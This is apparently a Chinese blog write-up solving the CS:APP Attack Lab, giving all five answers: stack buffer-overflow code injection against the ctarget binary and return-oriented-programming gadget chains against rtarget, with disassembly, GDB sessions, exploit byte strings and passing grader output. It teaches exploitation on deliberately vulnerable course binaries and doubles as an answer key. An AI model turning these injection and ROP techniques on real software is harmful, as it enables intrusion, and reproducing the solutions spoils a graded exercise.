Attack Lab

Attack Lab的目标是希望我们通过实验来学习buffer overflow attacks,即它的两种攻击方式:

  • code injection attacks 代码注入攻击
  • return-oriented programming attacks ROP攻击

code injection attacks有三个,通过对ctarget这个二进制文件进行攻击来练习;ROP attacks有两个,通过对rtarget这个二进制文件进行攻击来练习。
Lab任务书
大概介绍下每个文件的作用:

  • ctarget: 用来做代码注入攻击的程序
  • rtarget: 用来做 ROP 攻击的程序
  • cookie.txt: 一个 8 位的 16 进制代码,用来作为攻击的标识符
  • farm.c: 用来找寻 gadget 的源文件
  • hex2raw: 用来生成攻击字符串的程序

开始

Level 1

这一关中暂时还不需要注入新的代码,只需要让程序重定向调用某个方法就好。ctarget 的正常流程是

void test() {
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

我们要做的是调用程序中的另一个函数

void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}

也就是在 getbuf() 函数返回的时候,执行 touch1() 而不是返回 test()。

反编译成汇编代码:objdump -d ctarget > ctarget.txt
找到相关函数的汇编代码

0000000000401968 <test>:
  401968:       48 83 ec 08             sub    $0x8,%rsp
  40196c:       b8 00 00 00 00          mov    $0x0,%eax
  401971:       e8 32 fe ff ff          callq  4017a8 <getbuf>
  401976:       89 c2                   mov    %eax,%edx
  401978:       be 88 31 40 00          mov    $0x403188,%esi
  40197d:       bf 01 00 00 00          mov    $0x1,%edi
  401982:       b8 00 00 00 00          mov    $0x0,%eax
  401987:       e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
  40198c:       48 83 c4 08             add    $0x8,%rsp
  401990:       c3                      retq
  401991:       90                      nop


00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp
  4017ac:       48 89 e7                mov    %rsp,%rdi
  4017af:       e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax
  4017b9:       48 83 c4 28             add    $0x28,%rsp
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop

00000000004017c0 <touch1>:
  4017c0:       48 83 ec 08             sub    $0x8,%rsp
  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:       00 00 00
  4017ce:       bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:       e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:       bf 01 00 00 00          mov    $0x1,%edi
  4017dd:       e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:       bf 00 00 00 00          mov    $0x0,%edi
  4017e7:       e8 54 f6 ff ff          callq  400e40 <exit@plt>

可以看到getbuf把 %rsp 移动了 0x28(40) 位,即缓冲区有 40 位。那么根据栈帧的分配策略,我们只需要在getbuf函数执行retq指令时让当前栈顶8字节地址为touch1函数的起始地址(4017c0)即可。
创建一个文件phase1.txt,注意小端序

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 <- 栈帧底部 覆盖返回地址

验证

$ ./hex2raw < phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

Level 2

第二关中需要插入一小段代码,ctarget 中的 touch2 函数的 C 语言如下:

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

通过注入代码,来达到像level1的目的,但是这次是跳转到touch2函数。我们需要把自己的 cookie 作为参数传进去,这里需要把参数放到 %rdi 中,只使用 ret 来进行跳转。
查看cookie.txt内容与touch2入口地址,写出如下代码:

mov $0x59b997fa, %rdi 
pushq $0x4017ec 
retq

那么第二个问题就是如何运行这段代码。我们想到了level1中,通过攻击返回地址的方式来运行,那么问题就转化为了这段代码的地址应该是什么。
且我们能操作的只有缓冲区,所以我们需要去查看缓冲区的地址。
我们重新看getbuf的代码:

00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp
  4017ac:       48 89 e7                mov    %rsp,%rdi
  4017af:       e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax
  4017b9:       48 83 c4 28             add    $0x28,%rsp
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop

利用GDB debug(这里注意一下,run命令需要加-q)

[root@VM-8-13-centos target1]# gdb ctarget
(gdb) b getbuf
(gdb) r -q
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
=> 0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) print $rsp
$1 = (void *) 0x5561dc78

首先输入的在栈顶,最后输入的离rbp所指向的地址更近。那么我们就可以把我们写的代码的字节码放在最开头的部分,并将返回值设置为目前栈顶的位置,即0x5561dc78。
接下来将汇编代码转化成机器码

[root@VM-8-13-centos target1]# ^C
[root@VM-8-13-centos target1]# gcc -c phase2.s 
[root@VM-8-13-centos target1]# objdump -d phase2.o > phase2.d
[root@VM-8-13-centos target1]# cat phase2.d

phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

构造答案:

48 c7 c7 fa 97 b9 59 68 <-- 注入的代码 保存在rsp位置,即栈顶
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <-- 返回地址设置为rsp的位置

执行

[root@VM-8-13-centos target1]# ./hex2raw < phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

Level 3

这一关和之前有点类似,只是需要传入一个字符串,所涉及的函数的 C 语言和汇编代码如下:

// 比较sval和十六进制的val的表示是否一致
int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    // 随机化
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
00000000004018fa <touch3>:
  4018fa:       53                      push   %rbx
  4018fb:       48 89 fb                mov    %rdi,%rbx
  4018fe:       c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:       00 00 00
  401908:       48 89 fe                mov    %rdi,%rsi
  40190b:       8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:       e8 36 ff ff ff          callq  40184c <hexmatch>
  401916:       85 c0                   test   %eax,%eax
  ......

首先将cookie转化为ASCII码:

cookie: 59b997fa
-> 35 39 62 39 39 37 66 61

因为知道在调用 hexmatch和strncmp 的时候会覆盖缓冲区,那么我们需要找一个合理的地方放置上述cookie字符串。结合level 2 想想,当我们的注入代码被执行时,此时%rsp是位于test函数栈顶的,那么当调用hexmatch和strncmp的时候,%rsp以下的区域都是不安全的,那我们只能放在test函数的栈帧中,才是安全的。
接下来就是确定字符串的地址了,确定思路如下:
test函数调用getbuf函数时,当即将执行getbuf函数的第一行汇编代码时,%rsp位于返回地址(test函数调用getbuf函数语句的下一条语句的地址)处,那么当前%rsp+8即为test函数的栈帧尾部(注意栈地址是递减的)

[root@VM-8-13-centos target1]# gdb ctarget
(gdb) b getbuf
(gdb) run -q
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) info r rsp
rsp            0x5561dca0	0x5561dca0
(gdb) p/x 0x5561dca0 + 0x8
$1 = 0x5561dca8

故解题汇编代码如下:

mov $0x5561dca8, %rdi # 将字符串的位置存入rdi
pushq $0x4018fa # 控制权转移至touch3 0x4018fa是touch3的开始地址
retq

编译结果如下:

phase3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq 

最终注入的字节码:

48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <-- 与level 2相同,getbuf的栈底
35 39 62 39 39 37 66 61 <-- 字符串数据保存在test函数栈帧中,非地址,无需小端法输入

测试:

[root@VM-8-13-centos target1]# ./hex2raw  < phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 

ROP Level2

从前面我们可以知道,有缓冲区加上缓冲区的代码可以执行使得程序非常容易被攻击,但是在 rtarget 中使用了两个技术来防止这种攻击:

  • 栈随机化。每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
  • 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误

所以需要使用称为 retrun-oriented programming(ROP)的策略来进行攻击。
具体原理和方法参考任务书以及CSAPP。这个阶段我们需要重复之前第二阶段的工作,但是因为程序的限制,只能另辟蹊径了,这里我们只需要利用下表给出的指令类型,以及前八个寄存器(%rax - %rdi)
20211209192559
注意这里的内容都是 16 进制。另外两个指令是:

  • ret: 一个字节编码 0xc3
  • nop: 什么都不做,只是让程序计数器加一,一个字节编码 0x90

就如指导文件中所说的,这次破解只需要跳转两个 gadget:一个包含了 popq %rax ,一个包含了 movq %rax,%rdi ,它们的二进制表示分别是 58 ;48 89 c7 ,还有 nop 指令使程序计数器加1,二进制表示是 90 ,还有 ret 返回指令,二进制表示是 c3
上面提到的两个 gadget 在反编译 rtarget 的汇编代码文件中是这样的:

00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
4019ad: c3
...
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
4019a6: c3

实现的功能就是从 getbuf 返回后,进入 0x4019ab 处执行使 0x59b997fa 弹出栈保存 在 %rax 寄存器中,然后进入 0x4019a2 处执行,将 %rax 的内容送到 %rdi 寄存器处, 最后进入 %0x4017ec 处执行 touch2 的指令;

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
ab 19 40 00 00 00 00 00  <-getbuf调用结束后的返回地址处,执行pop指令,并让程序计数器+1执行了4019ad处的ret指令
fa 97 b9 59 00 00 00 00  <-被pop的数据,存入rax
a2 19 40 00 00 00 00 00  <-执行mov指令,将rax存入rdi,又一次ret
ec 17 40 00 00 00 00 00  <-将控制权移交给touch2

需要注意的是rsp随着每次ret的变化,正是ret指令,我们才能执行我们想要的下一条指令。

测试:

[root@VM-8-13-centos target1]# ./hex2raw < phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

ROP Level3

接下来到最后一个阶段,其实做的工作是类似的,就是需要把 cookie 转换成 ascii 码通过缓冲区溢出放到栈的某个位置,然后把指向这个字符串的指针放到 %rdi 中,最后调用 touch3 即可。给出的提示是使用 movl(对前四位进行操作)和诸如 andb %al,%al 的指令(只对低2位的部分操作),标准答案中最少需要使用 8 个 gadget。
思路大体来说是这样:

  1. 为了不影响栈内存储地址,将 cookie 字符串的数据放在输入最后;
  2. getbuf 返回后应当进入的函数(或者跳转几个函数)应该实现将 cookie 字符串的首地址传送给 %rdi
  3. 最后进入 touch3 函数的指令块,地址是:0x4018fa;

由于栈是随机化的,所以提前在栈里写入字符串确定位置是不可能的了.所以怎么找到字符串的位置?我们可以通过,浮动求得字符串位置的值。

步骤如下:

  1. 计算偏移量
    在跳转到 touch3 前的最后几次跳转依次是:
    • 取得当前栈顶,将当前的 %rsp 送给 %rax(当前跳转地址已弹出);
    • 将 %rax 送 %rdi;
    • 将 %rdi 与偏移量相加,结果存储在 %rax 中;
    • 将 $rax 送 %rdi;

上面提及的每次跳转地址都在栈中占据8个地址空间,连 touch3 的跳转地址包括在内,偏移量应该是 32;
IMG_1863

  1. 使用指令获得偏移量

(1)getbuf 结束之后应该执行指令计算偏移量
(2)注意到 farm 里面有一个非常特别的函数,地址是 0x4019d6,实现了 lea (%rdi,%rsi,1),%rax ,在跳转到 touch3 前取得的 %rsp 寄存器中的值离 cookie 字符串的栈地址还有距离。现在必需通过多次重复加法来获得正确的字符串首地址;

00000000004019d6 <add_xy>:
  4019d6:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:       c3                      retq

(3)通过“加一”这个关键词,搜索到 farm 中有一个直接给 %eax 传送1的函数,地址 是 0x4019d0;

00000000004019d0 <mid_farm>:
  4019d0:       b8 01 00 00 00          mov    $0x1,%eax
  4019d5:       c3                      retq

(4)将 %eax 中的1送到 %edi 寄存器,机器码为 89 c7 ,地址是 0x4019c6;

00000000004019c3 <setval_426>:
  4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:       c3                      retq

(5)现在必须让 %eax 中的1送到 %esi 中,但是 farm 中没有直接实现这个功能的机器码 89 c6 ,只能绕几个弯来实现了:

  • 无非是将 %eax 的值传送(movl)给别的寄存器,再送给 %esi,可能不止绕一次;
  • movl 的机器码表示是 89 ,但是 farm 中的机器码这么多,不可能一个一个找过去,这时候 lab 的指导文档提供的附录就非常有用了,其实它已经明确指出了在这次 lab 中必然会用到 functional nop 指令,这些指令不会改变操作符中寄存器的值;
  • 在 farm 中搜索这些 functional nop 的机器码,以及这些机器码前是否 89 这个 movl 机器码,可以找到三个有用的 gadget,分别实现了 movl %eax,%edx, movl %edx,%ecx, movl %ecx,%esi, 地址分别是: 0x401a42, 0x401a34, 0x401a27
0000000000401a40 <addval_487>:
  401a40:       8d 87 89 c2 84 c0       lea    -0x3f7b3d77(%rdi),%eax
  401a46:       c3 

0000000000401a33 <getval_159>:
  401a33:       b8 89 d1 38 c9          mov    $0xc938d189,%eax
  401a38:       c3                      retq

0000000000401a25 <addval_187>:
  401a25:       8d 87 89 ce 38 c0       lea    -0x3fc73177(%rdi),%eax
  401a2b:       c3                      retq
  • 在跳转执行这三个地址的机器码之后,%esi 中的值就是1了(与movb、movw不 同,movl指令将会填充目的寄存器的低32位,并使高32位全部为0;所以, %rsi中的值也是1)

(6)每次跳转到第1步中说明的地址,完成运行之后必须再次将 %eax 的内容送 %edi 及 %esi,然后再次跳到第3步中说明的地址,反复多次直到 %esi 中的值就是32 为止。跳转序列如下:

d0 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00

20211209215540

  1. 然后就像计算偏移量中所提及的,进行最后几次跳转,地址依次是:

    • 0x401a06,取得当前栈顶,将当前的 %rsp 送给 %rax;
    • 0x4019c5,将 %rax 送 %rdi;
    • 0x4019d6,将 %rdi 与偏移量相加,结果存储在 %rax 中;
    • 0x4019c5,将 $rax 送 %rdi;
    • 0x4018fa,执行 touch3;
  2. 最后的结果的机器码表示就是:前面40组 00 ,中间是2.7中列出的那一大串,最后 就是 06 1a 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00,再然后是 cookie 字符串 的机器级表示。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d0 19 40 00 00 00 00 00
c6 19 40 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c6 19 40 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c6 19 40 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c6 19 40 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
c6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
42 1a 40 00 00 00 00 00 
34 1a 40 00 00 00 00 00 
27 1a 40 00 00 00 00 00 
06 1a 40 00 00 00 00 00 
c5 19 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
c5 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 

验证

[root@VM-8-13-centos target1]# ./hex2raw  < phase5.txt | ./rtarget -q 
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 19 40 00 00 00 00 00 C6 19 40 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C6 19 40 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C6 19 40 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C6 19 40 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C6 19 40 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 

Q.E.D.


励志成为年薪百块工程师